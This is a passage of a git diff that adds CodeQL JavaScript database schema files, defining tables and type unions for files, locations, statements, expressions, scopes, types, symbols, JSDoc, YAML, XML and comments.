+@locatable = @file
+    | @ast_node
+    | @comment
+    | @line
+    | @js_parse_error | @regexp_parse_error
+    | @regexpterm
+    | @json_locatable
+    | @token
+    | @cfg_node
+    | @jsdoc | @jsdoc_type_expr | @jsdoc_tag
+    | @yaml_locatable
+    | @xmllocatable
+    | @configLocatable
+    | @template_placeholder_tag;
+
+hasLocation (unique int locatable: @locatable ref,
+    int location: @location ref);
+
+// CFG
+entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref);
+exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref);
+guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref);
+case @guard_node.kind of
+  0 = @falsy_guard
+| 1 = @truthy_guard;
+@condition_guard = @falsy_guard | @truthy_guard;
+
+@synthetic_cfg_node = @entry_node | @exit_node | @guard_node;
+@cfg_node = @synthetic_cfg_node | @expr_parent;
+
+successor (int pred: @cfg_node ref, int succ: @cfg_node ref);
+
+// JSDoc comments
+jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref);
+#keyset[parent, idx]
+jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref,
+            int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref);
+jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+
+#keyset[parent, idx]
+jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+                  int kind: int ref,
+                  int parent: @jsdoc_type_expr_parent ref,
+                  int idx: int ref,
+                  varchar(900) tostring: string ref);
+case @jsdoc_type_expr.kind of
+    0 = @jsdoc_any_type_expr
+|   1 = @jsdoc_null_type_expr
+|   2 = @jsdoc_undefined_type_expr
+|   3 = @jsdoc_unknown_type_expr
+|   4 = @jsdoc_void_type_expr
+|   5 = @jsdoc_named_type_expr
+|   6 = @jsdoc_applied_type_expr
+|   7 = @jsdoc_nullable_type_expr
+|   8 = @jsdoc_non_nullable_type_expr
+|   9 = @jsdoc_record_type_expr
+|  10 = @jsdoc_array_type_expr
+|  11 = @jsdoc_union_type_expr
+|  12 = @jsdoc_function_type_expr
+|  13 = @jsdoc_optional_type_expr
+|  14 = @jsdoc_rest_type_expr
+;
+
+#keyset[id, idx]
+jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref);
+jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref);
+jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref);
+
+@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag;
+
+jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref);
+
+@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property;
+
+@optionalchainable = @call_expr | @propaccess;
+
+isOptionalChaining(int id: @optionalchainable ref);
+
+/**
+ * The time taken for the extraction of a file.
+ * This table contains non-deterministic content.
+ *
+ * The sum of the `time` column for each (`file`, `timerKind`) pair
+ * is the total time taken for extraction of `file`.  The `extractionPhase`
+ * column provides a granular view of the extraction time of the file.
+ */
+extraction_time(
+  int file : @file ref,
+  // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`.
+  int extractionPhase: int ref,
+  // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds
+  int timerKind: int ref,
+  float time: float ref
+)
+
+/**
+* Non-timing related data for the extraction of a single file.
+* This table contains non-deterministic content.
+*/
+extraction_data(
+  int file : @file ref,
+  // the absolute path to the cache file
+  varchar(900) cacheFile: string ref,
+  boolean fromCache: boolean ref,
+  int length: int ref
+)
+
+/*- YAML -*/
+
+#keyset[parent, idx]
+yaml (unique int id: @yaml_node,
+      int kind: int ref,
+      int parent: @yaml_node_parent ref,
+      int idx: int ref,
+      string tag: string ref,
+      string tostring: string ref);
+
+case @yaml_node.kind of
+  0 = @yaml_scalar_node
+| 1 = @yaml_mapping_node
+| 2 = @yaml_sequence_node
+| 3 = @yaml_alias_node
+;
+
+@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node;
+
+@yaml_node_parent = @yaml_collection_node | @file;
+
+yaml_anchors (unique int node: @yaml_node ref,
+              string anchor: string ref);
+
+yaml_aliases (unique int alias: @yaml_alias_node ref,
+              string target: string ref);
+
+yaml_scalars (unique int scalar: @yaml_scalar_node ref,
+              int style: int ref,
+              string value: string ref);
+
+yaml_errors (unique int id: @yaml_error,
+             string message: string ref);
+
+yaml_locations(unique int locatable: @yaml_locatable ref,
+             int location: @location_default ref);
+
+@yaml_locatable = @yaml_node | @yaml_error;
+
+/*- XML Files -*/
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*- Configuration files with key value pairs -*/
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme
new file mode 100644
index 000000000000..ccefb5e2d493
--- /dev/null
+++ b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme
@@ -0,0 +1,1194 @@
+/*** Standard fragments ***/
+
+/*- Files and folders -*/
+
+/**
+ * The location of an element.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*- Lines of code -*/
+
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+/*- External data -*/
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+/*- Source location prefix -*/
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/*- JavaScript-specific part -*/
+
+@location = @location_default
+
+@sourceline = @locatable;
+
+filetype(
+  int file: @file ref,
+  string filetype: string ref
+)
+
+// top-level code fragments
+toplevels (unique int id: @toplevel,
+           int kind: int ref);
+
+is_externs (int toplevel: @toplevel ref);
+
+case @toplevel.kind of
+   0 = @script
+|  1 = @inline_script
+|  2 = @event_handler
+|  3 = @javascript_url
+|  4 = @template_toplevel;
+
+is_module (int tl: @toplevel ref);
+is_nodejs (int tl: @toplevel ref);
+is_es2015_module (int tl: @toplevel ref);
+is_closure_module (int tl: @toplevel ref);
+
+@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag;
+toplevel_parent_xml_node(
+  unique int toplevel: @toplevel ref,
+  int xmlnode: @xml_node_with_code ref);
+
+xml_element_parent_expression(
+  unique int xmlnode: @xmlelement ref,
+  int expression: @expr ref,
+  int index: int ref);
+
+// statements
+#keyset[parent, idx]
+stmts (unique int id: @stmt,
+       int kind: int ref,
+       int parent: @stmt_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+stmt_containers (unique int stmt: @stmt ref,
+       int container: @stmt_container ref);
+
+jump_targets (unique int jump: @stmt ref,
+       int target: @stmt ref);
+
+@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer;
+@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration;
+
+case @stmt.kind of
+   0 = @empty_stmt
+|  1 = @block_stmt
+|  2 = @expr_stmt
+|  3 = @if_stmt
+|  4 = @labeled_stmt
+|  5 = @break_stmt
+|  6 = @continue_stmt
+|  7 = @with_stmt
+|  8 = @switch_stmt
+|  9 = @return_stmt
+| 10 = @throw_stmt
+| 11 = @try_stmt
+| 12 = @while_stmt
+| 13 = @do_while_stmt
+| 14 = @for_stmt
+| 15 = @for_in_stmt
+| 16 = @debugger_stmt
+| 17 = @function_decl_stmt
+| 18 = @var_decl_stmt
+| 19 = @case
+| 20 = @catch_clause
+| 21 = @for_of_stmt
+| 22 = @const_decl_stmt
+| 23 = @let_stmt
+| 24 = @legacy_let_stmt
+| 25 = @for_each_stmt
+| 26 = @class_decl_stmt
+| 27 = @import_declaration
+| 28 = @export_all_declaration
+| 29 = @export_default_declaration
+| 30 = @export_named_declaration
+| 31 = @namespace_declaration
+| 32 = @import_equals_declaration
+| 33 = @export_assign_declaration
+| 34 = @interface_declaration
+| 35 = @type_alias_declaration
+| 36 = @enum_declaration
+| 37 = @external_module_declaration
+| 38 = @export_as_namespace_declaration
+| 39 = @global_augmentation_declaration
+| 40 = @using_decl_stmt
+;
+
+@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt;
+
+@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration;
+
+@namespace_definition = @namespace_declaration | @enum_declaration;
+@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member;
+
+is_instantiated(unique int decl: @namespace_declaration ref);
+
+@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field;
+has_declare_keyword(unique int stmt: @declarable_node ref);
+
+is_for_await_of(unique int forof: @for_of_stmt ref);
+
+// expressions
+#keyset[parent, idx]
+exprs (unique int id: @expr,
+       int kind: int ref,
+       int parent: @expr_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+literals (varchar(900) value: string ref,
+       varchar(900) raw: string ref,
+       unique int expr: @expr_or_type ref);
+
+enclosing_stmt (unique int expr: @expr_or_type ref,
+       int stmt: @stmt ref);
+
+expr_containers (unique int expr: @expr_or_type ref,
+       int container: @stmt_container ref);
+
+array_size (unique int ae: @arraylike ref,
+       int sz: int ref);
+
+is_delegating (int yield: @yield_expr ref);
+
+@expr_or_stmt = @expr | @stmt;
+@expr_or_type = @expr | @typeexpr;
+@expr_parent = @expr_or_stmt | @property | @function_typeexpr;
+@arraylike = @array_expr | @array_pattern;
+@type_annotation = @typeexpr | @jsdoc_type_expr;
+@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel;
+
+case @expr.kind of
+   0 = @label
+|  1 = @null_literal
+|  2 = @boolean_literal
+|  3 = @number_literal
+|  4 = @string_literal
+|  5 = @regexp_literal
+|  6 = @this_expr
+|  7 = @array_expr
+|  8 = @obj_expr
+|  9 = @function_expr
+| 10 = @seq_expr
+| 11 = @conditional_expr
+| 12 = @new_expr
+| 13 = @call_expr
+| 14 = @dot_expr
+| 15 = @index_expr
+| 16 = @neg_expr
+| 17 = @plus_expr
+| 18 = @log_not_expr
+| 19 = @bit_not_expr
+| 20 = @typeof_expr
+| 21 = @void_expr
+| 22 = @delete_expr
+| 23 = @eq_expr
+| 24 = @neq_expr
+| 25 = @eqq_expr
+| 26 = @neqq_expr
+| 27 = @lt_expr
+| 28 = @le_expr
+| 29 = @gt_expr
+| 30 = @ge_expr
+| 31 = @lshift_expr
+| 32 = @rshift_expr
+| 33 = @urshift_expr
+| 34 = @add_expr
+| 35 = @sub_expr
+| 36 = @mul_expr
+| 37 = @div_expr
+| 38 = @mod_expr
+| 39 = @bitor_expr
+| 40 = @xor_expr
+| 41 = @bitand_expr
+| 42 = @in_expr
+| 43 = @instanceof_expr
+| 44 = @logand_expr
+| 45 = @logor_expr
+| 47 = @assign_expr
+| 48 = @assign_add_expr
+| 49 = @assign_sub_expr
+| 50 = @assign_mul_expr
+| 51 = @assign_div_expr
+| 52 = @assign_mod_expr
+| 53 = @assign_lshift_expr
+| 54 = @assign_rshift_expr
+| 55 = @assign_urshift_expr
+| 56 = @assign_or_expr
+| 57 = @assign_xor_expr
+| 58 = @assign_and_expr
+| 59 = @preinc_expr
+| 60 = @postinc_expr
+| 61 = @predec_expr
+| 62 = @postdec_expr
+| 63 = @par_expr
+| 64 = @var_declarator
+| 65 = @arrow_function_expr
+| 66 = @spread_element
+| 67 = @array_pattern
+| 68 = @object_pattern
+| 69 = @yield_expr
+| 70 = @tagged_template_expr
+| 71 = @template_literal
+| 72 = @template_element
+| 73 = @array_comprehension_expr
+| 74 = @generator_expr
+| 75 = @for_in_comprehension_block
+| 76 = @for_of_comprehension_block
+| 77 = @legacy_letexpr
+| 78 = @var_decl
+| 79 = @proper_varaccess
+| 80 = @class_expr
+| 81 = @super_expr
+| 82 = @newtarget_expr
+| 83 = @named_import_specifier
+| 84 = @import_default_specifier
+| 85 = @import_namespace_specifier
+| 86 = @named_export_specifier
+| 87 = @exp_expr
+| 88 = @assign_exp_expr
+| 89 = @jsx_element
+| 90 = @jsx_qualified_name
+| 91 = @jsx_empty_expr
+| 92 = @await_expr
+| 93 = @function_sent_expr
+| 94 = @decorator
+| 95 = @export_default_specifier
+| 96 = @export_namespace_specifier
+| 97 = @bind_expr
+| 98 = @external_module_reference
+| 99 = @dynamic_import
+| 100 = @expression_with_type_arguments
+| 101 = @prefix_type_assertion
+| 102 = @as_type_assertion
+| 103 = @export_varaccess
+| 104 = @decorator_list
+| 105 = @non_null_assertion
+| 106 = @bigint_literal
+| 107 = @nullishcoalescing_expr
+| 108 = @e4x_xml_anyname
+| 109 = @e4x_xml_static_attribute_selector
+| 110 = @e4x_xml_dynamic_attribute_selector
+| 111 = @e4x_xml_filter_expression
+| 112 = @e4x_xml_static_qualident
+| 113 = @e4x_xml_dynamic_qualident
+| 114 = @e4x_xml_dotdotexpr
+| 115 = @import_meta_expr
+| 116 = @assignlogandexpr
+| 117 = @assignlogorexpr
+| 118 = @assignnullishcoalescingexpr
+| 119 = @template_pipe_ref
+| 120 = @generated_code_expr
+| 121 = @satisfies_expr
+;
+
+@varaccess = @proper_varaccess | @export_varaccess;
+@varref = @var_decl | @varaccess;
+
+@identifier = @label | @varref | @type_identifier;
+
+@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal;
+
+@propaccess = @dot_expr | @index_expr;
+
+@invokeexpr = @new_expr | @call_expr;
+
+@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element;
+
+@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr;
+
+@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr;
+
+@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr;
+
+@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr;
+
+@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr;
+
+@pattern = @varref | @array_pattern | @object_pattern;
+
+@comprehension_expr = @array_comprehension_expr | @generator_expr;
+
+@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block;
+
+@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier;
+
+@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier;
+
+@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier;
+
+@type_assertion = @as_type_assertion | @prefix_type_assertion;
+
+@class_definition = @class_decl_stmt | @class_expr;
+@interface_definition = @interface_declaration | @interface_typeexpr;
+@class_or_interface = @class_definition | @interface_definition;
+
+@lexical_decl = @var_decl | @type_decl;
+@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access;
+@lexical_ref = @lexical_decl | @lexical_access;
+
+@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector;
+@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident;
+
+expr_contains_template_tag_location(
+  int expr: @expr ref,
+  int location: @location ref
+);
+
+@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file;
+
+template_placeholder_tag_info(
+  unique int node: @template_placeholder_tag,
+  int parentNode: @template_placeholder_tag_parent ref,
+  varchar(900) raw: string ref
+);
+
+// scopes
+scopes (unique int id: @scope,
+        int kind: int ref);
+
+case @scope.kind of
+   0 = @global_scope
+|  1 = @function_scope
+|  2 = @catch_scope
+|  3 = @module_scope
+|  4 = @block_scope
+|  5 = @for_scope
+|  6 = @for_in_scope // for-of scopes work the same as for-in scopes
+|  7 = @comprehension_block_scope
+|  8 = @class_expr_scope
+|  9 = @namespace_scope
+| 10 = @class_decl_scope
+| 11 = @interface_scope
+| 12 = @type_alias_scope
+| 13 = @mapped_type_scope
+| 14 = @enum_scope
+| 15 = @external_module_scope
+| 16 = @conditional_type_scope;
+
+scopenodes (unique int node: @ast_node ref,
+            int scope: @scope ref);
+
+scopenesting (unique int inner: @scope ref,
+              int outer: @scope ref);
+
+// functions
+@function = @function_decl_stmt | @function_expr | @arrow_function_expr;
+
+@parameterized = @function | @catch_clause;
+@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr;
+
+is_generator (int fun: @function ref);
+has_rest_parameter (int fun: @function ref);
+is_async (int fun: @function ref);
+
+// variables and lexically scoped type names
+#keyset[scope, name]
+variables (unique int id: @variable,
+           varchar(900) name: string ref,
+           int scope: @scope ref);
+
+#keyset[scope, name]
+local_type_names (unique int id: @local_type_name,
+                  varchar(900) name: string ref,
+                  int scope: @scope ref);
+
+#keyset[scope, name]
+local_namespace_names (unique int id: @local_namespace_name,
+                       varchar(900) name: string ref,
+                       int scope: @scope ref);
+
+is_arguments_object (int id: @variable ref);
+
+@lexical_name = @variable | @local_type_name | @local_namespace_name;
+
+@bind_id = @varaccess | @local_var_type_access;
+bind (unique int id: @bind_id ref,
+      int decl: @variable ref);
+
+decl (unique int id: @var_decl ref,
+      int decl: @variable ref);
+
+@typebind_id = @local_type_access | @export_varaccess;
+typebind (unique int id: @typebind_id ref,
+          int decl: @local_type_name ref);
+
+@typedecl_id = @type_decl | @var_decl;
+typedecl (unique int id: @typedecl_id ref,
+          int decl: @local_type_name ref);
+
+namespacedecl (unique int id: @var_decl ref,
+               int decl: @local_namespace_name ref);
+
+@namespacebind_id = @local_namespace_access | @export_varaccess;
+namespacebind (unique int id: @namespacebind_id ref,
+               int decl: @local_namespace_name ref);
+
+
+// properties in object literals, property patterns in object patterns, and method declarations in classes
+#keyset[parent, index]
+properties (unique int id: @property,
+            int parent: @property_parent ref,
+            int index: int ref,
+            int kind: int ref,
+            varchar(900) tostring: string ref);
+
+case @property.kind of
+  0 = @value_property
+| 1 = @property_getter
+| 2 = @property_setter
+| 3 = @jsx_attribute
+| 4 = @function_call_signature
+| 5 = @constructor_call_signature
+| 6 = @index_signature
+| 7 = @enum_member
+| 8 = @proper_field
+| 9 = @parameter_field
+| 10 = @static_initializer
+;
+
+@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration;
+@property_accessor = @property_getter | @property_setter;
+@call_signature = @function_call_signature | @constructor_call_signature;
+@field = @proper_field | @parameter_field;
+@field_or_vardeclarator = @field | @var_declarator;
+
+is_computed (int id: @property ref);
+is_method   (int id: @property ref);
+is_static   (int id: @property ref);
+is_abstract_member (int id: @property ref);
+is_const_enum (int id: @enum_declaration ref);
+is_abstract_class (int id: @class_decl_stmt ref);
+
+has_public_keyword (int id: @property ref);
+has_private_keyword (int id: @property ref);
+has_protected_keyword (int id: @property ref);
+has_readonly_keyword (int id: @property ref);
+has_type_keyword (int id: @type_keyword_operand ref);
+is_optional_member (int id: @property ref);
+has_definite_assignment_assertion (int id: @field_or_vardeclarator ref);
+is_optional_parameter_declaration (unique int parameter: @pattern ref);
+
+#keyset[constructor, param_index]
+parameter_fields(
+  unique int field: @parameter_field ref,
+  int constructor: @function_expr ref,
+  int param_index: int ref
+);
+
+// types
+#keyset[parent, idx]
+typeexprs (
+  unique int id: @typeexpr,
+  int kind: int ref,
+  int parent: @typeexpr_parent ref,
+  int idx: int ref,
+  varchar(900) tostring: string ref
+);
+
+case @typeexpr.kind of
+  0 = @local_type_access
+| 1 = @type_decl
+| 2 = @keyword_typeexpr
+| 3 = @string_literal_typeexpr
+| 4 = @number_literal_typeexpr
+| 5 = @boolean_literal_typeexpr
+| 6 = @array_typeexpr
+| 7 = @union_typeexpr
+| 8 = @indexed_access_typeexpr
+| 9 = @intersection_typeexpr
+| 10 = @parenthesized_typeexpr
+| 11 = @tuple_typeexpr
+| 12 = @keyof_typeexpr
+| 13 = @qualified_type_access
+| 14 = @generic_typeexpr
+| 15 = @type_label
+| 16 = @typeof_typeexpr
+| 17 = @local_var_type_access
+| 18 = @qualified_var_type_access
+| 19 = @this_var_type_access
+| 20 = @predicate_typeexpr
+| 21 = @interface_typeexpr
+| 22 = @type_parameter
+| 23 = @plain_function_typeexpr
+| 24 = @constructor_typeexpr
+| 25 = @local_namespace_access
+| 26 = @qualified_namespace_access
+| 27 = @mapped_typeexpr
+| 28 = @conditional_typeexpr
+| 29 = @infer_typeexpr
+| 30 = @import_type_access
+| 31 = @import_namespace_access
+| 32 = @import_var_type_access
+| 33 = @optional_typeexpr
+| 34 = @rest_typeexpr
+| 35 = @bigint_literal_typeexpr
+| 36 = @readonly_typeexpr
+| 37 = @template_literal_typeexpr
+;
+
+@typeref = @typeaccess | @type_decl;
+@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access;
+@typeexpr_parent = @expr | @stmt | @property | @typeexpr;
+@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr;
+@typeaccess = @local_type_access | @qualified_type_access | @import_type_access;
+@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access;
+@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access;
+@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access;
+
+@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr;
+
+// types
+types (
+  unique int id: @type,
+  int kind: int ref,
+  varchar(900) tostring: string ref
+);
+
+#keyset[parent, idx]
+type_child (
+  int child: @type ref,
+  int parent: @type ref,
+  int idx: int ref
+);
+
+case @type.kind of
+  0 = @any_type
+| 1 = @string_type
+| 2 = @number_type
+| 3 = @union_type
+| 4 = @true_type
+| 5 = @false_type
+| 6 = @type_reference
+| 7 = @object_type
+| 8 = @canonical_type_variable_type
+| 9 = @typeof_type
+| 10 = @void_type
+| 11 = @undefined_type
+| 12 = @null_type
+| 13 = @never_type
+| 14 = @plain_symbol_type
+| 15 = @unique_symbol_type
+| 16 = @objectkeyword_type
+| 17 = @intersection_type
+| 18 = @tuple_type
+| 19 = @lexical_type_variable_type
+| 20 = @this_type
+| 21 = @number_literal_type
+| 22 = @string_literal_type
+| 23 = @unknown_type
+| 24 = @bigint_type
+| 25 = @bigint_literal_type
+;
+
+@boolean_literal_type = @true_type | @false_type;
+@symbol_type = @plain_symbol_type | @unique_symbol_type;
+@union_or_intersection_type = @union_type | @intersection_type;
+@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type;
+
+has_asserts_keyword(int node: @predicate_typeexpr ref);
+
+@typed_ast_node = @expr | @typeexpr | @function;
+ast_node_type(
+  unique int node: @typed_ast_node ref,
+  int typ: @type ref);
+
+declared_function_signature(
+  unique int node: @function ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_signature(
+  unique int node: @invokeexpr ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_overload_index(
+  unique int node: @invokeexpr ref,
+  int index: int ref
+);
+
+symbols (
+  unique int id: @symbol,
+  int kind: int ref,
+  varchar(900) name: string ref
+);
+
+symbol_parent (
+  unique int symbol: @symbol ref,
+  int parent: @symbol ref
+);
+
+symbol_module (
+  int symbol: @symbol ref,
+  varchar(900) moduleName: string ref
+);
+
+symbol_global (
+  int symbol: @symbol ref,
+  varchar(900) globalName: string ref
+);
+
+case @symbol.kind of
+  0 = @root_symbol
+| 1 = @member_symbol
+| 2 = @other_symbol
+;
+
+@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type;
+@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration;
+
+ast_node_symbol(
+  unique int node: @ast_node_with_symbol ref,
+  int symbol: @symbol ref);
+
+type_symbol(
+  unique int typ: @type_with_symbol ref,
+  int symbol: @symbol ref);
+
+#keyset[typ, name]
+type_property(
+  int typ: @type ref,
+  varchar(900) name: string ref,
+  int propertyType: @type ref);
+
+type_alias(
+  unique int aliasType: @type ref,
+  int underlyingType: @type ref);
+
+@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type;
+@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type;
+type_literal_value(
+  unique int typ: @type_with_literal_value ref,
+  varchar(900) value: string ref);
+
+signature_types (
+  unique int id: @signature_type,
+  int kind: int ref,
+  varchar(900) tostring: string ref,
+  int type_parameters: int ref,
+  int required_params: int ref
+);
+
+is_abstract_signature(
+  unique int sig: @signature_type ref
+);
+
+signature_rest_parameter(
+  unique int sig: @signature_type ref,
+  int rest_param_arra_type: @type ref
+);
+
+case @signature_type.kind of
+  0 = @function_signature_type
+| 1 = @constructor_signature_type
+;
+
+#keyset[typ, kind, index]
+type_contains_signature (
+  int typ: @type ref,
+  int kind: int ref,  // constructor/call/index
+  int index: int ref, // ordering of overloaded signatures
+  int sig: @signature_type ref
+);
+
+#keyset[parent, index]
+signature_contains_type (
+  int child: @type ref,
+  int parent: @signature_type ref,
+  int index: int ref
+);
+
+#keyset[sig, index]
+signature_parameter_name (
+  int sig: @signature_type ref,
+  int index: int ref,
+  varchar(900) name: string ref
+);
+
+number_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+string_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+base_type_names(
+  int typeName: @symbol ref,
+  int baseTypeName: @symbol ref
+);
+
+self_types(
+  int typeName: @symbol ref,
+  int selfType: @type_reference ref
+);
+
+tuple_type_min_length(
+  unique int typ: @type ref,
+  int minLength: int ref
+);
+
+tuple_type_rest_index(
+  unique int typ: @type ref,
+  int index: int ref
+);
+
+// comments
+comments (unique int id: @comment,
+          int kind: int ref,
+          int toplevel: @toplevel ref,
+          varchar(900) text: string ref,
+          varchar(900) tostring: string ref);
+
+case @comment.kind of
+  0 = @slashslash_comment
+| 1 = @slashstar_comment
+| 2 = @doc_comment
+| 3 = @html_comment_start
+| 4 = @htmlcommentend;
+
+@html_comment = @html_comment_start | @htmlcommentend;
+@line_comment = @slashslash_comment | @html_comment;
+@block_comment = @slashstar_comment | @doc_comment;
+
+// source lines
+lines (unique int id: @line,
+       int toplevel: @toplevel ref,
+       varchar(900) text: string ref,
+       varchar(2) terminator: string ref);
+indentation (int file: @file ref,
+            int lineno: int ref,
+            varchar(1) indentChar: string ref,
+            int indentDepth: int ref);
+
+// JavaScript parse errors
